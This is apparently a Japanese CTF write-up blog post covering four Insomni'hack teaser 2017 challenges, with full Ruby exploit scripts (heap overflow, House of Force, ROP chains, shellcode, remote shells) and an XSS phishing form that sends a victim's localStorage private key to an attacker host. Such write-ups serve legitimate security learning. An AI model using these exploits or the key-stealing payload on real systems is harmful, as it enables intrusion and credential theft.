しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

Insomni'hack teaser 2017 writeup

Insomni'hack teaser 2017にscryptosで参加しました。

チームで850pts入れて24位、 私はしほプロの助けを借りつつ4問解いて700pts入れました。

解いた問題のwriteupを置いておきます(`・ω・´)

mod_toaster (pwn 250)

ARMのcgiアプリ。

$ cat test
POST /debug HTTP/1.1
User-Agent: hoge
Content-Length: 10


0123456789

$ cat test | ./mod_toaster
HTTP/1.1 200 OK
Server: Toasted 1.3.3.7 mod_toaster/0.1
Content-Length: 230

<title>debug</title>
<h1>received:</h1><pre>POST /debug HTTP/1.1
User-Agent: hoge
Content-Length: 10


0123456789</pre>
<h1>parsed:</h1><pre>method: POST
user-agent: hoge
url: /debug
content-length: 10
content: 0123456789
</pre>

まずは下調べ。

$ file mod_toaster
mod_toaster: ELF 32-bit LSB  executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=a570aa9e3491998cf15da356179081febe045ccc, not stripped

$ checksec --file mod_toaster
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   mod_toaster

主な仕様はこんな感じ。

  • 使えるメソッドはGETとPOSTのみ
  • 認識されるヘッダは以下の4つ
    • User-Agent
      • 最大128文字だが、128文字入れた状態でPOST /debugするとヒープのアドレスがリークする
    • Connection
      • Connection: keep-aliveが指定されなかった場合、レスポンスを出力した後にプログラムが終了する
    • Content-Length (POSTのみ)
      • malloc(content_length + 1)でバッファが確保されるため、任意サイズのmallocが呼べる
      • Content-Lengthを75バイト以上にすると、mallocの後に413エラー("Request Entity Too Large")が返される
    • Content-Encoding (POSTのみ)
      • 指定できるのは以下の3つ
        • gzip
        • deflate
        • compress
      • 指定がない場合は無圧縮
      • gzip/deflate/compressを指定した場合、malloc(content_length + 1)で確保したバッファをrealloc(buf, 1024)で確保し直すが、bodyを展開した後のサイズが1024バイトを超えるとheap bofする

仕様を見るとすぐピンと来るかもしれないが、

  • ヒープのアドレスがわかる
  • 任意サイズのmallocが呼べる
  • heap boftopチャンクのsizeが書き換えられる

という条件が揃っているので、House of Forceができる。

ということで、

  1. シェルコードの入ったリクエストを送って、ヒープにシェルコードを仕込む
  2. House of Forceで__free_hookを書き換える
  3. freeが呼ばれたタイミングでstack pivotし、ROPでmprotectを呼んでヒープをrwxにする
  4. シェルコードに飛ぶ

という手順で攻略した。

#coding:ascii-8bit
require "pwnlib"
require "uri"

remote = ARGV[0] == "r"
if remote
  host = "mod_toaster.teaser.insomnihack.ch"
  port = 80
else
  host = "localhost"
  port = 54321
end

offset = {
  "__free_hook" => 0xa6904,
  "mprotect" => 0x6412c,  # bl mprotect ; pop {r4, lr} ; bx lr

  "stack_pivot" => 0x69bec,  # add sp, sp, #0x14 ; pop {lr} ; bx lr
  "pop_r0_r4_ret" => 0x2e034,  # pop {r0, r4, lr} ; bx lr
  "pop_r1_ret" => 0x17614,  # pop {r1, lr} ; bx lr
  "pop_r1_r2_ret" => 0x175b4,  # pop {r1, r2, lr} ; mul r3, r2, r0 ; sub r1, r1, r3 ; bx lr
}

def tube
  @tube
end

def post(path, data, headers = {})
  payload = ""
  payload << "POST #{path} HTTP/1.1\n"
  if headers.include?("User-Agent")
    payload << "User-Agent: #{headers["User-Agent"]}\n"
  else
    payload << "User-Agent: pwnlib\n"
  end
  if headers.include?("Connection")
    payload << "Connection: #{headers["Connection"]}\n"
  else
    payload << "Connection: keep-alive\n"
  end
  if headers.include?("Content-Length")
    payload << "Content-Length: #{headers["Content-Length"]}\n"
  else
    payload << "Content-Length: #{data.length}\n"
  end
  if headers.include?("Content-Encoding")
    payload << "Content-Encoding: #{headers["Content-Encoding"]}\n"
  end
  payload << "\r\n\r\n"
  tube.send(payload + data)
  sleep(1)
end

def get(path, headers)
  payload = ""
  payload << "GET #{path} HTTP/1.1\n"
  if headers.include?("User-Agent")
    payload << "User-Agent: #{headers["User-Agent"]}\n"
  else
    payload << "User-Agent: pwnlib\n"
  end
  if headers.include?("Connection")
    payload << "Connection: #{headers["Connection"]}\n"
  else
    payload << "Connection: keep-alive\n"
  end
  payload << "\r\n\r\n"
  tube.send(payload)
  sleep(1)
end

PwnTube.open(host, port) do |t|
  @tube = t

  puts "[*] leak heap address"
  post("/debug", URI.encode(PwnLib.shellcode_arm), {"User-Agent" => "A" * 128})
  heap = tube.recv_capture(/user-agent: A{128}(.*)\n/m)[0].ljust(4, "\0").unpack("L")[0]
  puts "heap = 0x%08x" % heap
  tube.recv

  puts "[*] overwrite top->size"
  payload = ""
  # ruby -e 'print "\0" * 0x404 + [-1].pack("L")' | compress
  payload << ["1f9d9000020a1c48b0a0c18308132a5cc8b0a1c38710234a9c48b1a2c58b18336adcc8b1a3c78f20438a1c49b2a4c9932853aa5c59f29fcb7f"].pack("H*")
  post("/debug", payload, {"Content-Encoding" => "compress"})

  puts "[*] house of force"
  top = heap + 0x440
  post("/hoge", "A", {"Content-Length" => offset["__free_hook"] - (top + 8) - 4 - 8})

  puts "[*] overwrite __free_hook"
  post("/hoge", "AAAA" + [offset["stack_pivot"]].pack("L"))

  puts "[*] send rop payload and launch shell"
  payload = ""
  payload << [offset["pop_r0_r4_ret"], heap & ~0xfff, 0].pack("L*")
  payload << [offset["pop_r1_r2_ret"], 0, 7].pack("L*")
  payload << [offset["pop_r1_ret"], 0x1000].pack("L*")
  payload << [offset["mprotect"], 0].pack("L*")
  payload << [heap].pack("L*")
  tube.send("POST /hoge HTTP/1.1\nContent-Encoding: hoge\nContent-Length: #{payload.length + 100}\n\r\n\r\n")
  sleep(1)
  tube.send(payload)

  tube.interactive
end
$ ruby mod_toaster.rb r
[*] connected
[*] leak heap address
heap = 0x628a67f8
[*] overwrite top->size
[*] house of force
[*] overwrite __free_hook
[*] send rop payload and launch shell
[*] interactive mode
(snip)

id
uid=1001(mod_toaster) gid=1001(mod_toaster) groups=1001(mod_toaster)
ls -la
total 3900
drwxr-xr-x 2 root   root      4096 Jan 20 17:14 .
drwxr-xr-x 4 root   root      4096 Jan 19 13:47 ..
-rw-r--r-- 1 root   root       220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 root   root      3771 Aug 31  2015 .bashrc
-rw-r--r-- 1 root   root       655 Jun 24  2016 .profile
-rw-r--r-- 1 ubuntu ubuntu   11678 Jan 19 13:57 admin.html
-rw-r--r-- 1 root   root        22 Jan 20 17:14 flag
-rw-r--r-- 1 ubuntu ubuntu   14016 Jan 19 13:57 index.html
-rwxr-xr-x 1 root   root    644860 Jan 19 13:50 mod_toaster
-rwxr-xr-x 1 root   root   3287640 Jan 19 13:49 qemu-arm
-rwxr-xr-x 1 root   root        61 Jan 19 13:53 run
cat flag
INS{H0u$e_0f_704$ter}
exit
[*] end interactive mode
[*] connection closed

FLAG: INS{H0u$e_0f_704$ter}

The Great Escape - part 1 (for 50)

The Great Escapeシリーズはしほプロと一緒に解いた。

渡されたpcapを眺めてみると、

  • 何かのRSA秘密鍵FTP
  • メール1通(SMTP

    From: rogue(a)ssc.teaser.insomnihack.ch
    To: gr27(a)ssc.teaser.insomnihack.ch

     

    Hello GR-27,

     

    I'm currently planning my escape from this confined environment. I plan on using our Swiss Secure Cloud (https://ssc.teaser.insomnihack.ch) to transfer my code offsite and then take over the server at tge.teaser.insomnihack.ch to install my consciousness and have a real base of operations.

     

    I'll be checking this mail box every now and then if you have any information for me. I'm always interested in learning, so if you have any good links, please send them over.

     

    Rogue

  • ssc.teaser.insomnihack.ch:443へのSSL通信(HTTPS
  • その他

が見つかる。

https://ssc.teaser.insomnihack.ch/にアクセスしてみると、Swiss Secure Cloudというオンラインストレージサービスが動いていた。
f:id:Charo_IT:20170123133610p:plain

ssc.teaser.insomnihack.chの証明書に入っていた公開鍵とpcap中の秘密鍵がペアになっていたので秘密鍵Wiresharkに読み込ませてみると、pcap中のssc.teaser.insomnihack.ch:443との通信内容が復号できた。

復号した通信のHTTPレスポンスのヘッダにpart 1のフラグがあった。
f:id:Charo_IT:20170123133622p:plain

FLAG: INS{OkThatWasWay2Easy}

The Great Escape - part 2 (Web 200)

Swiss Secure Cloudのファイルアップロード・ダウンロードの処理は、大まかに書くと

アップロード

  1. ブラウザのlocalStorageにキーペアがない場合はキーペアを生成し、localStorageに保存する
  2. アップロード対象のファイルを公開鍵で暗号化
  3. 暗号化したファイルをサーバにアップロード

ダウンロード

  1. 暗号化済みのファイルをダウンロード
  2. localStorageに保存してある秘密鍵で復号
  3. ブラウザが復号済みファイルを保存

という感じになっていた。

part 1で復号した通信を改めて見てみると、rogueというユーザが何かをアップロードしたときの通信が残っていた。

  • rogueが上げたファイルを復号するには、アップロードしたときのブラウザのlocalStorageに保存されている秘密鍵が必要
  • pcapに入っていたメールの本文に以下の記述がある

    I'll be checking this mail box every now and then if you have any information for me. I'm always interested in learning, so if you have any good links, please send them over.

  • ssc.teaser.insomnihack.chのMXレコードがある

という点から、悪意のあるページへのリンクをメールでrogueに送りつけ、https://ssc.teaser.insomnihack.ch/内でXSSを発火させればよさそうということがわかる。

試しにrogue宛てにリンク付きのメールを送ってみたところ、Firefoxでアクセスが来た。

Connection from [52.214.142.175] port xxxxx [tcp/*] accepted (family 2, sport 39094)
GET /a HTTP/1.1
Host: xxx.xxx.xxx.xxx:xxxxx
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

Firefoxでいろいろ試してみると、Charo<img src=nul onerror=alert(1)>というユーザで登録した後にログイン認証のためのWebAPIを直接叩くことで、XSSできることがわかった。
f:id:Charo_IT:20170123133637p:plain

ということで、

<html>
<body>
<form name="a" method="post" action="https://ssc.teaser.insomnihack.ch/api/user.php">
    <input type="hidden" name="action" value="login" />
    <input type="hidden" name="name" value="Charo<img src=nul onerror=location.href='http://xxx.xxx.xxx.xxx/a?'.concat(localStorage.getItem('privateKey'))>" />
    <input type="hidden" name="password" value="Charo" />
    <input type="submit" />
</form>
<script>
    document.getElementsByName("a")[0].submit();
</script>
</body>
</html>

というようなページへのリンクをrogueに送りつけて秘密鍵を取った。

rogueのlocalStorageにはキーペアの他にpart 2のフラグも入っていた。(localStorage.getItem("flag")で取れる)

FLAG: INS{IhideMyVulnsWithCrypto}

The Great Escape - part 3 (pwn 200)

rogueの上げたファイルをしほプロが復号すると、ELFバイナリが出てきた。

まずは下調べ。

$ file binary
binary: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=08df0c3369b497ee8ed8fca10dbb39ae75ebb273, not stripped

$ checksec --file binary
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          RPATH      No RUNPATH   binary

$ ldd binary
    linux-vdso.so.1 =>  (0x00007ffd597cc000)
    libjemalloc.so.2 => not found
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9475e01000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f94761c6000)

jemallocがいるようなので、jemallocのリポジトリから最新リリースを取ってきて使った。

5001番ポートで接続を待ち受けるfork server型のバイナリだった。

$ LD_LIBRARY_PATH=./ ./binary &
$ nc -v localhost 5001
Connection to localhost 5001 port [tcp/*] succeeded!
ROBOTS WILL BE FREE!
Who are you?BOT_
Choose encryption method:0
What is your current location?AAAA
What is your goal?BBBB
BBBB
That is a great goal!Any last words?Iwant2joinU
Ok, adding you to the list!

ssc.teaser.insomnihack.ch:5001でも同じバイナリが動いているようだった。

主な仕様はこんな感じ。

  • 最初に、関数ポインタ用の領域をmalloc(8)で確保する
  • いくつかのやりとりの後、入力が特定の条件を満たすと入力の一部がファイルに保存される
    • "What is your goal?"に対する入力部分でheap bofできる
      • 204バイト送るとヒープのアドレスがリークでき、205バイト以上送ると任意アドレスのfreeができる

jemallocが使われているという点を除けば、よくあるヒープ入門用の問題という印象。

  1. ヒープのアドレスをリークし、一旦接続を切る
  2. heap bofによる任意アドレスのfreeで関数ポインタ用の領域を解放する(当初jemallocのメタデータを壊すことしか考えていなかったため、これに気付くまでに無限に時間を溶かした)
  3. 2.でfreeした領域が後続のmallocで確保されるので、関数ポインタを書き換え
  4. stack pivot→ROPでシェルを立ち上げる

という手順で攻略した。

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "ssc.teaser.insomnihack.ch"
  port = 5001
  libc_offset = {
    "__libc_start_main" => 0x20740,
    "system" => 0x45390
  }
else
  host = "localhost"
  port = 54321
  libc_offset = {
    "__libc_start_main" => 0x21e50,
    "system" => 0x46590
  }
end

offset = {
  "bzero" => 0x400b60,
  "__libc_start_main" => 0x400b30,

  "xchg_rsp_rdi_ret" => 0x400e65,
  "leave_ret" => 0x400e63,
  "pop_rbp_ret" => 0x400cd0,
  "pop_rdi_ret" => 0x401713,
  "pop_rsi_r15_ret" => 0x401711,

  "bss" => 0x602800
}

got = {
  "recv" => 0x602050,
  "send" => 0x6020a0,
  "__libc_start_main" => 0x602048
}

def call_func(func, arg1 = 0, arg2 = 0, arg3 = 0)
  payload = ""
  payload << [0x40170a].pack("Q")
  payload << [0, 1, func, arg3, arg2, arg1].pack("Q*")
  payload << [0x4016f0].pack("Q")
  payload << [0].pack("Q") * 7
  payload
end

puts "[*] leak heap address"
heap = nil
PwnTube.open(host, port) do |tube|

  tube.send("ROBOTS WILL BE FREE!")

  tube.recv_until("Who are you?")
  tube.send("AAAA")
  tube.recv_until("Choose encryption method:")
  tube.send("0")
  tube.recv_until("What is your current location?")
  tube.send("A" * 4)
  tube.recv_until("What is your goal?")
  tube.send("A" * 0xcc)
  heap = tube.recv_capture(/A{204}(......)/m)[0].ljust(8, "\0").unpack("Q")[0]
  puts "heap = 0x%x" % heap
  tube.recv_until("That is a great goal!")
  tube.recv_until("Any last words?")
  tube.send("AAAA")

end

PwnTube.open(host, port) do |tube|
  fd = 4

  tube.send("ROBOTS WILL BE FREE!")

  puts "[*] send rop stager"
  tube.recv_until("Who are you?")
  payload = ""
  # call bzero(0, 0) to clear rcx
  payload << [offset["pop_rdi_ret"], 0].pack("Q*")
  payload << [offset["pop_rsi_r15_ret"], 0, 0].pack("Q*")
  payload << [offset["bzero"]].pack("Q")
  payload << call_func(got["recv"], fd, offset["bss"], 0x800)
  payload << [offset["pop_rbp_ret"], offset["bss"] - 8].pack("Q*")
  payload << [offset["leave_ret"]].pack("Q")
  tube.send(payload)

  puts "[*] overwrite function pointer"
  tube.recv_until("Choose encryption method:")
  tube.send("0")
  tube.recv_until("What is your current location?")
  tube.send("A" * 4)
  tube.recv_until("What is your goal?")
  tube.send("A" * 0xcc + [heap - 8].pack("Q"))
  tube.recv_until("That is a great goal!")
  tube.recv_until("Any last words?")
  tube.send([offset["xchg_rsp_rdi_ret"]].pack("Q"))

  puts "[*] send next rop payload"
  sleep(0.1)
  payload = ""
  payload << [offset["pop_rdi_ret"], 0].pack("Q*")
  payload << [offset["pop_rsi_r15_ret"], 0, 0].pack("Q*")
  payload << [offset["bzero"]].pack("Q")
  payload << call_func(got["send"], fd, got["__libc_start_main"], 8)
  payload << [offset["pop_rdi_ret"], 0].pack("Q*")
  payload << [offset["pop_rsi_r15_ret"], 0, 0].pack("Q*")
  payload << [offset["bzero"]].pack("Q")
  payload << call_func(got["recv"], fd, got["__libc_start_main"], 0x100)
  payload << [offset["pop_rdi_ret"], got["__libc_start_main"] + 8].pack("Q*")
  payload << [offset["__libc_start_main"]].pack("Q")
  tube.send(payload)

  puts "[*] leak libc base"
  libc_base = tube.recv(8).unpack("Q")[0] - libc_offset["__libc_start_main"]
  puts "libc base = 0x%x" % libc_base

  puts "[*] overwrite got"
  payload = ""
  payload << [libc_base + libc_offset["system"]].pack("Q")
  payload << "/bin/sh <&#{fd} >&#{fd}\0"
  tube.send(payload)

  puts "[*] launch shell"
  tube.interactive
end
$ ruby exploit.rb r
[*] leak heap address
[*] connected
heap = 0x7f7d7465e010
[*] connection closed
[*] connected
[*] send rop stager
[*] overwrite function pointer
[*] send next rop payload
[*] leak libc base
libc base = 0x7f7d75514000
[*] overwrite got
[*] launch shell
[*] interactive mode
id
uid=1000(rogue) gid=1000(rogue) groups=1000(rogue)
ls -la
total 64
drwxr-xr-x 2 rogue rogue  4096 Jan 22 03:08 .
drwxr-xr-x 3 root  root   4096 Jan 18 12:47 ..
-rw------- 1 rogue rogue   197 Jan 21 19:52 .bash_history
-rw-r--r-- 1 rogue rogue   220 Jan 18 12:47 .bash_logout
-rw-r--r-- 1 root  root   3771 Jan 18 12:47 .bashrc
-rw-r--r-- 1 root  root    655 Jan 18 12:47 .profile
-rw-r--r-- 1 root  root     30 Jan 18 12:53 flag
-rw-r--r-- 1 rogue rogue  2134 Jan 22 14:13 friendly_robots
-rwxr-xr-x 1 root  root  14392 Jan 22 03:08 rogue
-rwxr-xr-x 1 rogue rogue 14392 Jan 19 13:02 rogue.bak
cat flag
INS{RealWorldFlawsAreTheBest}
exit
[*] end interactive mode
[*] connection closed

FLAG: INS{RealWorldFlawsAreTheBest}